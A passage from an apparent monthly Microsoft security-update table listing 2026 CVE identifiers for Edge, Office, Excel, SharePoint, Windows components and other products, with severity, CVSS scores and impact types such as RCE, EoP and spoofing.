\n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer 